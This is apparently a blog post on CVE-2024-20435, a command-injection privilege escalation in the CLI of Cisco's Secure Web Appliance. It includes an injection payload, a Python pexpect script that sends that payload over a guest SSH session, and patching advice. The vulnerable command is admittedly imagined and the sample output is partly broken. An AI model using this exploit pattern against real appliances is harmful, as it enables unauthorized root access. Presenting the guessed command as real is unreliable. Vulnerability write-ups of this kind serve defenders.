Earlier this year, CVE-2024-20435 revealed a serious security loophole in the command-line interface (CLI) of Cisco AsyncOS for Secure Web Appliance (previously known as Cisco Web Security Appliance or WSA). If you administer these appliances, you need to understand how this flaw could let an attacker with basic access take full control of your device. In this post, I’ll break down this vulnerability in simple terms, show a code example, give you practical details about exploiting the bug, and help you protect your system.

What’s the Issue?

CVE-2024-20435 lets any local, authenticated user (even a guest) climb all the way to root privileges and run arbitrary commands. This happens because the appliance’s CLI doesn’t properly check what users type in. If a user adds sneaky input while logged in—even at the lowest access level—they can make the system execute their chosen commands as root.

This is a classic case of insufficient input validation. The appliance expects safe commands but doesn’t sanitize the input well enough, opening a door for attackers.

The attacker needs local (not remote) CLI access (for example, SSH or direct terminal connection).

- The attacker needs to log in with *at least guest-level credentials* (default users or low-privileged accounts).

Exploitation Step by Step (with Example)

> Disclaimer:
For educational and defensive purposes only! Do not attempt this on any system you don’t own or have explicit permission to test.

Let’s say you’re an attacker who’s logged in as a guest on the appliance’s CLI. The CLI offers you a safe, closed-off menu (imagine something like below):

Welcome to the Secure Web Appliance CLI.
Type 'help' for a list of commands.
WSA>

But due to the bug, if the CLI has a command like this

run_report --name [USER_INPUT]

If the developer never sanitizes [USER_INPUT], you could inject a payload, like

; whoami; id; #

When the appliance tries to run the command, the shell sees

run_report --name ; whoami; id; #

Here, everything after the semicolon is interpreted as separate commands. On a vulnerable system, this could result in:

root
uid=(root) gid=(root) groups=(root)

Boom—you’ve just run arbitrary commands as root.

Below is a simulated snippet showing how someone could send a malicious payload

import pexpect

# Replace with actual device IP and guest credentials
host = "10.1.1.5"
user = "guest"
password = "guestpass"

child = pexpect.spawn(f"ssh {user}@{host}")
child.expect("password:")
child.sendline(password)

child.expect("WSA>")
# Injected command - this will escalate privileges if vulnerable
payload = "run_report --name '; id; uname -a; #'"

child.sendline(payload)
child.expect("WSA>")
print(child.before.decode())

If successful, the output will leak root’s info and other command results, even if run by a low-privilege user.

Install malware or persistent backdoors

This means a local, authenticated guest could compromise the entire network’s web security gateway.

Original References

- Cisco Security Advisory: CVE-2024-20435
- National Vulnerability Database (NVD) Entry for CVE-2024-20435

Defensive Measures

1. Patch Now: Cisco has released security updates. Download the fixed AsyncOS version.
2. Review User Accounts: Remove unnecessary or default guest/low-privilege accounts.
3. Limit CLI Access: Restrict SSH access to trusted IPs/networks only.

Conclusion

CVE-2024-20435 illustrates how a basic flaw in user input validation can have catastrophic consequences. Just a little bit of carelessness in command construction made it possible to leapfrog from least privilege to root. If you run Cisco Secure Web Appliances, drop everything and patch now—and always treat CLI input with suspicion. Stay safe out there!


*This article is for educational use and to help defenders. Don’t use these details for unauthorized access to any system.*

Timeline

Published on: 07/17/2024 17:15:14 UTC
Last modified on: 07/18/2024 12:28:43 UTC